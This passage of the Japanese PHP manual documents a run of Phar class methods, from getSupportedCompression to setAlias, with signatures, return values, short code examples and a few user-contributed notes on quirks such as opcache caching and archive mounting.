
パラメータ

パラメータはありません。

返り値

Phar::GZ あるいは Phar::BZ2 を含む配列を返します。 これは、zlib 拡張モジュールと bz2 拡張モジュールが使用可能かどうかによって決まります。

参考

  • PharFileInfo::getCompressedSize() - Phar アーカイブ内での実際のファイルの大きさ (圧縮された状態) を返す
  • PharFileInfo::isCompressed() - エントリが圧縮されているかどうかを調べる
  • PharFileInfo::compress() - 現在の Phar エントリを zlib あるいは bzip2 のいずれかで圧縮する
  • PharFileInfo::decompress() - phar 内の現在の Phar エントリの圧縮を解除する
  • Phar::compress() - Phar アーカイブ全体を Gzip あるいは Bzip2 で圧縮する
  • Phar::decompress() - Phar アーカイブ全体の圧縮を解除する
  • Phar::canCompress() - phar 拡張モジュールが zlib あるいは bzip2 による圧縮をサポートしているかどうかを返す
  • Phar::isCompressed() - phar アーカイブ全体が (.tar.gz/tar.bz などで) 圧縮されている場合に Phar::GZ あるいは PHAR::BZ2 を返す
  • Phar::compressFiles() - 現在の Phar アーカイブ内のすべてのファイルを圧縮する
  • Phar::decompressFiles() - 現在の Phar アーカイブ内のすべてのファイルの圧縮を解除する

User Contributed Notes

There are no user contributed notes for this page.


サポートするシグネチャ型の配列を返す

  • ≪ Phar::getSupportedCompression
  • Phar::getVersion ≫
  • PHP Manual
  • Phar
  • サポートするシグネチャ型の配列を返す

Phar::getSupportedSignatures

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 1.1.0)

Phar::getSupportedSignatures — サポートするシグネチャ型の配列を返す

説明

final public static Phar::getSupportedSignatures ( ) : array

サポートするシグネチャ型の配列を返します。

パラメータ

パラメータはありません。

返り値

MD5、SHA-1、 SHA-256、SHA-512 あるいは OpenSSL を含む配列を返します。

参考

  • Phar::getSignature() - Phar アーカイブの MD5/SHA1/SHA256/SHA512/OpenSSL シグネチャを返す
  • Phar::setSignatureAlgorithm() - phar のシグネチャのアルゴリズムを設定して適用する

User Contributed Notes

There are no user contributed notes for this page.


Phar アーカイブのバージョン情報を返す

  • ≪ Phar::getSupportedSignatures
  • Phar::hasMetadata ≫
  • PHP Manual
  • Phar
  • Phar アーカイブのバージョン情報を返す

Phar::getVersion

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 1.0.0)

Phar::getVersion — Phar アーカイブのバージョン情報を返す

説明

public Phar::getVersion ( ) : string

オープンした Phar アーカイブの API バージョンを返します。

パラメータ

返り値

オープンしたアーカイブの API バージョンを返します。 これは、読み込んだ phar 拡張モジュールが新しい phar を作成する際に使用する API バージョンとは異なります。各 Phar アーカイブは、 マニフェスト内に API バージョンをハードコードして保持しています。 詳細は Phar ファイルフォーマット のドキュメントを参照ください。

参考

  • Phar::apiVersion() - API のバージョンを返す

User Contributed Notes

There are no user contributed notes for this page.


ファイルがグローバルなメタデータを持つかどうかを返す

  • ≪ Phar::getVersion
  • Phar::interceptFileFuncs ≫
  • PHP Manual
  • Phar
  • ファイルがグローバルなメタデータを持つかどうかを返す

Phar::hasMetadata

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 1.2.0)

Phar::hasMetadata — ファイルがグローバルなメタデータを持つかどうかを返す

説明

public Phar::hasMetadata ( ) : bool

ファイルがグローバルなメタデータを持っているかどうかを返します。

パラメータ

パラメータはありません。

返り値

メタデータが設定されている場合に true、されていない場合に false を返します。

例

例1 Phar::hasMetadata() の例

<?php
try {
    $phar = new Phar('myphar.phar');
    var_dump($phar->hasMetadata());
    $phar->setMetadata(array('thing' => 'hi'));
    var_dump($phar->hasMetadata());
    $phar->delMetadata();
    var_dump($phar->hasMetadata());
} catch (Exception $e) {
    // エラー処理
}
?>

上の例の出力は以下となります。

bool(false)
bool(true)
bool(false)

参考

  • Phar::getMetadata() - phar アーカイブのメタデータを返す
  • Phar::setMetadata() - phar アーカイブのメタデータを設定する
  • Phar::delMetadata() - phar のグローバルメタデータを削除する

User Contributed Notes

There are no user contributed notes for this page.


fopen、file_get_contents、opendir などの stat 関連の関数をすべて phar に横取りさせる

  • ≪ Phar::hasMetadata
  • Phar::isBuffering ≫
  • PHP Manual
  • Phar
  • fopen、file_get_contents、opendir などの stat 関連の関数をすべて phar に横取りさせる

Phar::interceptFileFuncs

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

Phar::interceptFileFuncs — fopen、file_get_contents、opendir などの stat 関連の関数をすべて phar に横取りさせる

説明

final public static Phar::interceptFileFuncs ( ) : void

fopen() や readfile()、 file_get_contents()、opendir() などの stat 関連の関数をすべて phar に横取りさせます。 phar アーカイブ内で相対パスを指定してこれらの関数がコールされると、 それが phar アーカイブ内のファイルへのアクセスに変更されます。 絶対パスの場合は、ファイルシステム上の外部ファイルを指すものとみなされます。

この関数を使用すると、ハードディスク上で動作するように作られている PHP アプリケーションを phar アプリケーションにまとめられるようになります。

パラメータ

パラメータはありません。

返り値

例

例1 Phar::interceptFileFuncs() の例

<?php
Phar::interceptFileFuncs();
include 'phar://' . __FILE__ . '/file.php';
?>

phar ファイルの場所が /path/to/myphar.phar で、その中に file.php と file2.txt が存在するものとします。 file.php にこのようなコードが含まれていた場合、

例2 Phar::interceptFileFuncs() の例

<?php
echo file_get_contents('file2.txt');
?>

通常は、PHP はカレントディレクトリの file2.txt を探します。カレントディレクトリの場所は、file.php と同じ場所かあるいは コマンドラインで実行した際のカレントディレクトリとなります。 Phar::interceptFileFuncs() を使用した場合は、 PHP はカレントディレクトリを phar:///path/to/myphar.phar/ とみなし、上のコードの場合は phar:///path/to/myphar.phar/file2.txt をオープンします。

User Contributed Notes

There are no user contributed notes for this page.


Phar の書き込み操作がバッファリングされるか、あるいは直接ディスクに書き込まれるかを調べる

  • ≪ Phar::interceptFileFuncs
  • Phar::isCompressed ≫
  • PHP Manual
  • Phar
  • Phar の書き込み操作がバッファリングされるか、あるいは直接ディスクに書き込まれるかを調べる

Phar::isBuffering

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 1.0.0)

Phar::isBuffering — Phar の書き込み操作がバッファリングされるか、あるいは直接ディスクに書き込まれるかを調べる

説明

public Phar::isBuffering ( ) : bool

このメソッドを使用すると、その Phar が変更を即時にディスクに書き込むのか それとも Phar::stopBuffering() をコールしないと変更が保存されないのかがわかります。

Phar の書き込みバッファリングはアーカイブ単位で処理されます。 Phar アーカイブ foo.phar でバッファリングが有効であったとしても、それは Phar アーカイブ bar.phar の変更には影響しません。

返り値

書込み操作がバッファリングされる場合に true、それ以外の場合に false を返します。

例

例1 Phar::isBuffering() の例

<?php
$p = new Phar(dirname(__FILE__) . '/brandnewphar.phar', 0, 'brandnewphar.phar');
$p2 = new Phar('existingphar.phar');
$p['file1.txt'] = 'hi';
var_dump($p->isBuffering());
var_dump($p2->isBuffering());
?>
=2=
<?php
$p->startBuffering();
var_dump($p->isBuffering());
var_dump($p2->isBuffering());
$p->stopBuffering();
?>
=3=
<?php
var_dump($p->isBuffering());
var_dump($p2->isBuffering());
?>

上の例の出力は以下となります。

bool(false)
bool(false)
=2=
bool(true)
bool(false)
=3=
bool(false)
bool(false)

参考

  • Phar::startBuffering() - Phar の書き込み操作のバッファリングを開始するが、ディスク上の Phar オブジェクトは変更しない
  • Phar::stopBuffering() - Phar アーカイブへの書き込みリクエストのバッファリングを終了し、変更内容をディスクに書き込む

User Contributed Notes

There are no user contributed notes for this page.


phar アーカイブ全体が (.tar.gz/tar.bz などで) 圧縮されている場合に Phar::GZ あるいは PHAR::BZ2 を返す

  • ≪ Phar::isBuffering
  • Phar::isFileFormat ≫
  • PHP Manual
  • Phar
  • phar アーカイブ全体が (.tar.gz/tar.bz などで) 圧縮されている場合に Phar::GZ あるいは PHAR::BZ2 を返す

Phar::isCompressed

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

Phar::isCompressed — phar アーカイブ全体が (.tar.gz/tar.bz などで) 圧縮されている場合に Phar::GZ あるいは PHAR::BZ2 を返す

説明

public Phar::isCompressed ( ) : mixed

注意:

このメソッドは、php.ini の phar.readonly が 0 でないと Phar オブジェクトで動作しません。それ以外の場合は PharException がスローされます。

phar アーカイブ全体が (.tar.gz/tar.bz などで) 圧縮されている場合に Phar::GZ あるいは PHAR::BZ2 を返します。 zip 形式の phar アーカイブはファイル単位で圧縮することができません。 そのため、zip 形式の phar アーカイブを調べたときはこのメソッドは常に false を返します。

パラメータ

パラメータはありません。

返り値

Phar::GZ、Phar::BZ2 あるいは false を返します。

例

例1 Phar::isCompressed() の例

<?php
try {
    $phar1 = new Phar('myphar.zip.phar');
    var_dump($phar1->isCompressed());
    $phar2 = new Phar('myuncompressed.tar.phar');
    var_dump($phar2->isCompressed());
    $phar2->compress(Phar::GZ);
    var_dump($phar2->isCompressed() == Phar::GZ);
} catch (Exception $e) {
}
?>

上の例の出力は以下となります。

bool(false)
bool(false)
bool(true)

参考

  • PharFileInfo::getCompressedSize() - Phar アーカイブ内での実際のファイルの大きさ (圧縮された状態) を返す
  • PharFileInfo::isCompressed() - エントリが圧縮されているかどうかを調べる
  • PharFileInfo::decompress() - phar 内の現在の Phar エントリの圧縮を解除する
  • PharFileInfo::compress() - 現在の Phar エントリを zlib あるいは bzip2 のいずれかで圧縮する
  • Phar::decompress() - Phar アーカイブ全体の圧縮を解除する
  • Phar::compress() - Phar アーカイブ全体を Gzip あるいは Bzip2 で圧縮する
  • Phar::canCompress() - phar 拡張モジュールが zlib あるいは bzip2 による圧縮をサポートしているかどうかを返す
  • Phar::compressFiles() - 現在の Phar アーカイブ内のすべてのファイルを圧縮する
  • Phar::decompressFiles() - 現在の Phar アーカイブ内のすべてのファイルの圧縮を解除する
  • Phar::getSupportedCompression() - サポートする圧縮アルゴリズムの配列を返す

User Contributed Notes

There are no user contributed notes for this page.


phar アーカイブが、パラメータで指定した tar/phar/zip のいずれかの形式である場合に true を返す

  • ≪ Phar::isCompressed
  • Phar::isValidPharFilename ≫
  • PHP Manual
  • Phar
  • phar アーカイブが、パラメータで指定した tar/phar/zip のいずれかの形式である場合に true を返す

Phar::isFileFormat

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

Phar::isFileFormat — phar アーカイブが、パラメータで指定した tar/phar/zip のいずれかの形式である場合に true を返す

説明

public Phar::isFileFormat ( int $format ) : bool

パラメータ

format

Phar::PHAR、Phar::TAR あるいは Phar::ZIP で、アーカイブの形式を指定します。

返り値

phar アーカイブのファイル形式がパラメータで指定したものと一致する場合に true を返します。

エラー / 例外

パラメータで指定した内容が既知の形式でない場合に PharException をスローします。

参考

  • Phar::convertToExecutable() - phar アーカイブを実行可能な別の phar アーカイブ形式に変換する
  • Phar::convertToData() - phar アーカイブを実行可能でない tar あるいは zip ファイルに変換する

User Contributed Notes

There are no user contributed notes for this page.


指定したファイル名が正しい形式の phar ファイルかどうかを返す

  • ≪ Phar::isFileFormat
  • Phar::isWritable ≫
  • PHP Manual
  • Phar
  • 指定したファイル名が正しい形式の phar ファイルかどうかを返す

Phar::isValidPharFilename

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 1.2.0)

Phar::isValidPharFilename — 指定したファイル名が正しい形式の phar ファイルかどうかを返す

説明

final public static Phar::isValidPharFilename ( string $filename , bool $executable = true ) : bool

指定したファイル名のファイルが、phar 拡張モジュールで利用できる 正しい形式の phar ファイルであるかどうかを返します。 これは、phar アーカイブを実際に開く前にそのファイルを確認する際に使用します。 これで、 無効なファイルを指定したときに当然発生するであろう例外の処理を省略することができます。

パラメータ

filename

まだ作成されていない phar アーカイブの名前あるいはフルパス。

executable

このパラメータは、指定した名前のファイルを phar の実行可能アーカイブとして扱うかデータのみの非実行可能アーカイブとして扱うかを指定します。

返り値

正しい形式のファイルである場合に true、そうでない場合に false を返します。

User Contributed Notes

sebastian dot krebs dot berlin at googlemail dot com 09-Oct-2011 12:54
Note, that this method accepts _everything_ (=> returns 'true'), when $executable is 'false' as long as the filename contains at least a dot

var_dump(\PharData::isValidPharFilename('randomstring.y', false));
bool(true)

This is not wrong at all, because I can name an archive like I want, but it makes the method completely useless (when $executable == false).


phar アーカイブが変更可能な場合に true を返す

  • ≪ Phar::isValidPharFilename
  • Phar::loadPhar ≫
  • PHP Manual
  • Phar
  • phar アーカイブが変更可能な場合に true を返す

Phar::isWritable

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

Phar::isWritable — phar アーカイブが変更可能な場合に true を返す

説明

public Phar::isWritable ( ) : bool

このメソッドは、phar.readonly が 0 かつディスク上の実際の phar アーカイブが読み取り専用でない場合に true を返します。

パラメータ

パラメータはありません。

返り値

phar アーカイブが変更可能な場合に true を返します。

参考

  • Phar::canWrite() - phar 拡張モジュールが phar の書き込みや作成をサポートしているかどうかを返す
  • PharData::isWritable() - tar/zip アーカイブが変更可能な場合に true を返す

User Contributed Notes

kristof dot coomans at telenet dot be 23-Apr-2009 06:08
It might be not expected, but this function will return true if the file does not exist yet even if the directory is read-only. Tested on PHP 5.3.0 RC 1.

I have buffering on and when I call stopBuffering() then the "failed to open stream: Permission denied" PharException will be thrown.


任意の phar アーカイブを、エイリアスを指定して読み込む

  • ≪ Phar::isWritable
  • Phar::mapPhar ≫
  • PHP Manual
  • Phar
  • 任意の phar アーカイブを、エイリアスを指定して読み込む

Phar::loadPhar

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 1.0.0)

Phar::loadPhar — 任意の phar アーカイブを、エイリアスを指定して読み込む

説明

final public static Phar::loadPhar ( string $filename , string $alias = ? ) : bool

これを使用して、外部の Phar アーカイブの内容を読み込むことができます。 phar へのエイリアスを指定することで、その後 phar を使用する場合に短い名前を使用できるので便利です。 また、データのみが含まれており、実行したり インクルードしたりする必要のない PHP スクリプトからなる Phar アーカイブを読み込む際にも便利です。

パラメータ

filename

オープンする phar アーカイブへの完全パスあるいは相対パス。

alias

この phar アーカイブをさす際に使用するエイリアス。 多くの場合は phar アーカイブ内で明示的なエイリアスを指定しており、 このような場合に新しいエイリアスを指定すると、 PharException がスローされます。

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

すでに明示的なエイリアスを持っている phar アーカイブに対してエイリアスを渡すと、 PharException がスローされます。

例

例1 Phar::loadPhar() の例

Phar::loadPhar を使用すると、任意の場所にある外部の Phar アーカイブを読み込めます。 一方 Phar::mapPhar は Phar ローダのスタブ内で使用します。

<?php
try {
    Phar::loadPhar('/path/to/phar.phar', 'my.phar');
    echo file_get_contents('phar://my.phar/file.txt');
} catch (PharException $e) {
    echo $e;
}
?>

参考

  • Phar::mapPhar() - 現在実行されている (phar 形式の) ファイルを読み込み、その内容を登録する

User Contributed Notes

There are no user contributed notes for this page.


現在実行されている (phar 形式の) ファイルを読み込み、その内容を登録する

  • ≪ Phar::loadPhar
  • Phar::mount ≫
  • PHP Manual
  • Phar
  • 現在実行されている (phar 形式の) ファイルを読み込み、その内容を登録する

Phar::mapPhar

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 1.0.0)

Phar::mapPhar — 現在実行されている (phar 形式の) ファイルを読み込み、その内容を登録する

説明

final public static Phar::mapPhar ( string $alias = ? , int $dataoffset = 0 ) : bool

この静的メソッドは、直接実行されたときや 他のスクリプトからインクルードされたときに Phar アーカイブのローダスタブ内で使用され、 phar を初期化します。

パラメータ

alias

このアーカイブを参照する際にフルパスのかわりに使用する、 phar:// 形式の URL。

dataoffset

未使用。PEAR の PHP_Archive との互換性のために用意しています。

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

PHP から直接コールされなかった場合、 ソースファイル内に __HALT_COMPILER(); トークンがなかった場合、 あるいはファイルを読み込みモードでオープンできなかった場合に PharException をスローします。

例

例1 Phar::mapPhar() の例

mapPhar は、phar のローダスタブ内でのみ使用します。 外部の phar をメモリに読み込むには、loadPhar を使用します。

mapPhar を使用する Phar ローダスタブの例は、このようになります。

<?php
function __autoload($class)
{
    include 'phar://me.phar/' . str_replace('_', '/', $class) . '.php';
}
try {
    Phar::mapPhar('me.phar');
    include 'phar://me.phar/startup.php';
} catch (PharException $e) {
    echo $e->getMessage();
    die('Phar を初期化できません');
}
__HALT_COMPILER();

参考

  • Phar::loadPhar() - 任意の phar アーカイブを、エイリアスを指定して読み込む

User Contributed Notes

phofstetter at sensational dot ch 03-Oct-2013 02:52
Be careful with mapPhar and opcode caches like opcache: They might cache files included by the symbolic name based on the symbolic name you give.

This becomes a problem when a server is hosting multiple different versions of a phar file all using the same symbolic name because then subsequent include()'s in the phar file might load an already cached file from another version of the phar file.

Instead, generate a unique name and use that in mapPhar and in subsequent include()'s

See for example https://github.com/zendtech/ZendOptimizerPlus/issues/115#issuecomment-25612769 for the issue in the opcache module.


外部のパスあるいはファイルを phar アーカイブ内に仮想的にマウントする

  • ≪ Phar::mapPhar
  • Phar::mungServer ≫
  • PHP Manual
  • Phar
  • 外部のパスあるいはファイルを phar アーカイブ内に仮想的にマウントする

Phar::mount

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

Phar::mount — 外部のパスあるいはファイルを phar アーカイブ内に仮想的にマウントする

説明

final public static Phar::mount ( string $pharpath , string $externalpath ) : void

Unix のファイルシステムで外部のデバイスをディレクトリツリー上にマウントできるのと同様に、 Phar::mount() を使用すると 外部のファイルやディレクトリをあたかもアーカイブ内にあるかのように参照することができるようになります。 これを使用すると、外部の設定ファイルをアーカイブ内にあるかのように扱うなどの高度な抽象化が可能となります。

パラメータ

pharpath

マウントする場所として使用する phar アーカイブ内のパス。 これは phar アーカイブ内の相対パスでなければならず、また、 既に存在するパスを指定することはできません。

externalpath

phar アーカイブ内にマウントしたい外部ファイルあるいはディレクトリのパスあるいは URL。

返り値

返り値はありません。失敗した場合は PharException をスローします。

エラー / 例外

パスのマウント時に問題が発生した場合は PharException をスローします。

例

例1 Phar::mount() の例

次の例は、外部の設定ファイルをまるでそれが phar アーカイブ内のパス上にあるかのように扱うものです。

まず、phar アーカイブ内のコードを示します。

<?php
$configuration = simplexml_load_string(file_get_contents(
    Phar::running(false) . '/config.xml'));
?>

次は、設定ファイルをマウントする外部コードです。

<?php
// まずは、抽象化した config.xml
// と実際のディスク上のファイルを関連づけます
Phar::mount('phar://config.xml', '/home/example/config.xml');
// アプリケーションを実行します
include '/path/to/archive.phar';
?>

もうひとつの方法として、コードを phar アーカイブのスタブ内に置くというものがあります。 これは、ユーザーが設定ファイルを指定しなかった場合にデフォルトの設定ファイルを使用する例です。

<?php
// まずは、抽象化した config.xml
// と実際のディスク上のファイルを関連づけます
if (defined('EXTERNAL_CONFIG')) {
    Phar::mount('config.xml', EXTERNAL_CONFIG);
    if (file_exists(__DIR__ . '/extra_config.xml')) {
        Phar::mount('extra.xml', __DIR__ . '/extra_config.xml');
    }
} else {
    Phar::mount('config.xml', 'phar://' . __FILE__ . '/default_config.xml');
    Phar::mount('extra.xml', 'phar://' . __FILE__ . '/default_extra.xml');
}
// アプリケーションを実行します
include 'phar://' . __FILE__ . '/index.php';
__HALT_COMPILER();
?>

...and the code externally to load this phar archive:

<?php
define('EXTERNAL_CONFIG', '/home/example/config.xml');
// アプリケーションを実行します
include '/path/to/archive.phar';
?>

User Contributed Notes

espendiller at gmx dot de 09-Jun-2010 03:20
i tested phar to generate a one file drupal installation.
as every cms, drupal put all uploaded files in a seperate folder (i.e. /sites).

i think the mount options here expected a file, i didnt get it to work on mounting a folder. is there any possibility to do that?

to generate a phar out of drupal7 with sqlite database

build.php
$phar = new Phar('drupal7.phar');
$phar->buildFromDirectory(dirname(__FILE__) . '/drupal-7.0-alpha5');
$phar->setStub("<?php
Phar::interceptFileFuncs();
Phar::mount('sites/default/settings.php', __DIR__ . '/sites/default/settings.php');
Phar::mount('database.db', __DIR__ . '/database.db');
Phar::webPhar();
__HALT_COMPILER(); ?>"
);

to call the phar iam using a .htacces file:
RewriteCond %{REQUEST_URI} !^/drupal.phar/
RewriteCond %{REQUEST_URI} !build.php
RewriteRule ^(.*)$ /drupal.phar/$1


最大 4 つまでの $_SERVER 変数を実行時に変更させる

  • ≪ Phar::mount
  • Phar::offsetExists ≫
  • PHP Manual
  • Phar
  • 最大 4 つまでの $_SERVER 変数を実行時に変更させる

Phar::mungServer

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

Phar::mungServer — 最大 4 つまでの $_SERVER 変数を実行時に変更させる

説明

final public static Phar::mungServer ( array $munglist ) : void

Phar::mungServer() は、 phar アーカイブのスタブ内でのみ使用します。

最大 4 つまでの $_SERVER 変数を指定し、 実行時に変更させます。phar の実行時に変更できる変数は REQUEST_URI、PHP_SELF、 SCRIPT_NAME そして SCRIPT_FILENAME です。

このメソッド自身は何も行いません。これが効力を発揮するのは Phar::webPhar() と組み合わせた場合で PHP ファイルがリクエストされた場合のみです。 PATH_INFO と PATH_TRANSLATED は常に変更されていることに注意しましょう。

変更前の元の値は、SERVER 配列の中で PHAR_ をつけた名前で保持されます。たとえば SCRIPT_NAME の場合は 変更前の値は PHAR_SCRIPT_NAME となります。

パラメータ

munglist

REQUEST_URI、PHP_SELF、 SCRIPT_NAME および SCRIPT_FILENAME を含む配列。その他の値を指定した場合は例外が発生します。また Phar::mungServer() は大文字小文字を区別します。

返り値

値を返しません。

エラー / 例外

渡したデータに何らかの問題があった場合は UnexpectedValueException をスローします。

例

例1 Phar::mungServer() の例

<?php
// スタブのサンプル
Phar::mungServer(array('REQUEST_URI'));
Phar::webPhar();
__HALT_COMPILER();
?>

参考

  • Phar::webPhar() - ウェブベースの phar で使用するフロントコントローラ
  • Phar::setStub() - Phar アーカイブの PHP ローダ (あるいは起動スタブ) を設定する

User Contributed Notes

There are no user contributed notes for this page.


ファイルが phar 内に存在するかどうかを調べる

  • ≪ Phar::mungServer
  • Phar::offsetGet ≫
  • PHP Manual
  • Phar
  • ファイルが phar 内に存在するかどうかを調べる

Phar::offsetExists

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 1.0.0)

Phar::offsetExists — ファイルが phar 内に存在するかどうかを調べる

説明

public Phar::offsetExists ( string $offset ) : bool

これは ArrayAccess インターフェイスを実装したものです。 これにより、Phar アーカイブの内容に対して配列形式の角括弧を使用したアクセスが可能となります。

offsetExists() は、isset() がコールされる際にはいつもコールされます。

パラメータ

offset

Phar 内で探すファイル名 (相対パス)。

返り値

ファイルが phar 内に存在する場合に true、しない場合に false を返します。

例

例1 Phar::offsetExists() の例

<?php
$p = new Phar(dirname(__FILE__) . '/my.phar', 0, 'my.phar');
$p['firstfile.txt'] = 'first file';
$p['secondfile.txt'] = 'second file';
// 以下の行では、offsetExists() が間接的にコールされます
var_dump(isset($p['firstfile.txt']));
var_dump(isset($p['nothere.txt']));
?>

上の例の出力は以下となります。

bool(true)
bool(false)

参考

  • Phar::offsetGet() - 指定したファイルの PharFileInfo オブジェクトを取得する
  • Phar::offsetSet() - 内部ファイルに、外部ファイルの内容を設定する
  • Phar::offsetUnset() - ファイルを phar から削除する

User Contributed Notes

There are no user contributed notes for this page.


指定したファイルの PharFileInfo オブジェクトを取得する

  • ≪ Phar::offsetExists
  • Phar::offsetSet ≫
  • PHP Manual
  • Phar
  • 指定したファイルの PharFileInfo オブジェクトを取得する

Phar::offsetGet

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 1.0.0)

Phar::offsetGet — 指定したファイルの PharFileInfo オブジェクトを取得する

説明

public Phar::offsetGet ( string $offset ) : PharFileInfo

これは ArrayAccess インターフェイスを実装したものです。 これにより、Phar アーカイブの内容に対して配列形式の角括弧を使用したアクセスが可能となります。 Phar::offsetGet() を使用して、Phar アーカイブからファイルを取得します。

パラメータ

offset

Phar 内で探すファイル名 (相対パス)。

返り値

PharFileInfo オブジェクトを返します。 これを使用して、ファイルの内容を順に処理したりファイルの情報を取得したりします。

エラー / 例外

そのファイルが Phar アーカイブ内に存在しない場合に、このメソッドは BadMethodCallException をスローします。

例

例1 Phar::offsetGet() の例

ArrayAccess インターフェイスを実装した他のクラスと同様、 Phar::offsetGet() は [] 演算子を使用した場合に自動的にコールされます。

<?php
$p = new Phar(dirname(__FILE__) . '/myphar.phar', 0, 'myphar.phar');
$p['exists.txt'] = "file exists\n";
try {
    // 自動的に offsetGet() をコールします
    echo $p['exists.txt'];
    echo $p['doesnotexist.txt'];
} catch (BadMethodCallException $e) {
    echo $e;
}
?>

上の例の出力は以下となります。

file exists
Entry doesnotexist.txt does not exist

参考

  • Phar::offsetExists() - ファイルが phar 内に存在するかどうかを調べる
  • Phar::offsetSet() - 内部ファイルに、外部ファイルの内容を設定する
  • Phar::offsetUnset() - ファイルを phar から削除する

User Contributed Notes

There are no user contributed notes for this page.


内部ファイルに、外部ファイルの内容を設定する

  • ≪ Phar::offsetGet
  • Phar::offsetUnset ≫
  • PHP Manual
  • Phar
  • 内部ファイルに、外部ファイルの内容を設定する

Phar::offsetSet

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 1.0.0)

Phar::offsetSet — 内部ファイルに、外部ファイルの内容を設定する

説明

public Phar::offsetSet ( string $offset , string $value ) : void

注意:

このメソッドは、php.ini の phar.readonly が 0 でないと Phar オブジェクトで動作しません。それ以外の場合は PharException がスローされます。

これは ArrayAccess インターフェイスを実装したものです。 これにより、Phar アーカイブの内容に対して配列形式の角括弧を使用したアクセスが可能となります。 offsetSet を使用して、Phar アーカイブの既存ファイルの変更や 新しいファイルの追加を行います。

パラメータ

offset

Phar 内で変更するファイル名 (相対パス)。

value

ファイルの内容。

返り値

値を返しません。

エラー / 例外

phar.readonly に 1 の場合は BadMethodCallException がスローされます。 Phar の変更ができるのは phar.readonly が 0 のときだけだからです。Phar アーカイブへの変更をディスクに書き込む際に何らかのエラーが発生すると PharException がスローされます。

例

例1 Phar::offsetSet() の例

offsetSet は直接使用してはいけません。 配列に [] 演算子でアクセスする際に使用されます。

<?php
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
try {
    // offsetSet がコールされます
    $p['file.txt'] = 'Hi there';
} catch (Exception $e) {
    echo 'ファイルを変更できません: ', $e;
}
?>

注意

注意: Phar::addFile(), Phar::addFromString(), Phar::offsetSet() は、呼び出されるたびに新しいPharアーカイブを生成します。パフォーマンスを気にするなら、代わりに Phar::buildFromDirectory() や Phar::buildFromIterator() を使うべきです。

参考

  • Phar::offsetExists() - ファイルが phar 内に存在するかどうかを調べる
  • Phar::offsetGet() - 指定したファイルの PharFileInfo オブジェクトを取得する
  • Phar::offsetUnset() - ファイルを phar から削除する

User Contributed Notes

There are no user contributed notes for this page.


ファイルを phar から削除する

  • ≪ Phar::offsetSet
  • Phar::running ≫
  • PHP Manual
  • Phar
  • ファイルを phar から削除する

Phar::offsetUnset

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 1.0.0)

Phar::offsetUnset — ファイルを phar から削除する

説明

public Phar::offsetUnset ( string $offset ) : bool

注意:

このメソッドは、php.ini の phar.readonly が 0 でないと Phar オブジェクトで動作しません。それ以外の場合は PharException がスローされます。

これは ArrayAccess インターフェイスを実装したものです。 これにより、Phar アーカイブの内容に対して配列形式の角括弧を使用したアクセスが可能となります。 offsetUnset を使用して、既存のファイルを削除します。また unset() が使用された場合にもコールされます。

パラメータ

offset

Phar 内で変更するファイル名 (相対パス)。

返り値

成功した場合に true を、失敗した場合に false を返します。

エラー / 例外

phar.readonly に 1 の場合は BadMethodCallException がスローされます。 Phar の変更ができるのは phar.readonly が 0 のときだけだからです。Phar アーカイブへの変更をディスクに書き込む際に何らかのエラーが発生すると PharException をスローします。

例

例1 Phar::offsetUnset() の例

<?php
$p = new Phar('/path/to/my.phar', 0, 'my.phar');
try {
    // offsetUnset がコールされ、file.txt が my.phar から削除されます
    unset($p['file.txt']);
} catch (Exception $e) {
    echo 'file.txt を削除できません: ', $e;
}
?>

参考

  • Phar::offsetExists() - ファイルが phar 内に存在するかどうかを調べる
  • Phar::offsetGet() - 指定したファイルの PharFileInfo オブジェクトを取得する
  • Phar::offsetSet() - 内部ファイルに、外部ファイルの内容を設定する
  • Phar::unlinkArchive() - phar アーカイブをディスクとメモリから完全に削除する
  • Phar::delete() - phar アーカイブ内のファイルを削除する

User Contributed Notes

There are no user contributed notes for this page.


現在実行中の Phar アーカイブのフルパスあるいは完全な phar URL を返す

  • ≪ Phar::offsetUnset
  • Phar::setAlias ≫
  • PHP Manual
  • Phar
  • 現在実行中の Phar アーカイブのフルパスあるいは完全な phar URL を返す

Phar::running

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 2.0.0)

Phar::running — 現在実行中の Phar アーカイブのフルパスあるいは完全な phar URL を返す

説明

final public static Phar::running ( bool $retphar = true ) : string

実行中の phar アーカイブのフルパスを返します。これはマジック定数 __FILE__ のような使い方を想定したもので、 実行中の phar アーカイブの内部でのみ有効です。

アーカイブ内のスタブでは、Phar::running() は "" を返します。現在実行中の phar にスタブ内からアクセスするには、 単純に __FILE__ を使用します。

パラメータ

retphar

false の場合は phar アーカイブのディスク上でのフルパスを返します。 true の場合は完全な phar URL を返します。

返り値

ファイル名が正しい形式の場合にファイル名、それ以外の場合に空文字列を返します。

例

例1 Phar::running() の例

次の例では、phar アーカイブが /path/to/phar/my.phar にあるものとします。

<?php
$a = Phar::running(); // $a は "phar:///path/to/my.phar"
$b = Phar::running(false); // $b は "/path/to/my.phar"
?>

User Contributed Notes

There are no user contributed notes for this page.


Phar アーカイブのエイリアスを設定する

  • ≪ Phar::running
  • Phar::setDefaultStub ≫
  • PHP Manual
  • Phar
  • Phar アーカイブのエイリアスを設定する

Phar::setAlias

(PHP 5 >= 5.3.0, PHP 7, PECL phar >= 1.2.1)

Phar::setAlias — Phar アーカイブのエイリアスを設定する

説明

public Phar::setAlias ( string $alias ) : bool

注意:

このメソッドは、php.ini の phar.readonly が 0 でないと Phar オブジェクトで動作しません。それ以外の場合は PharException がスローされます。

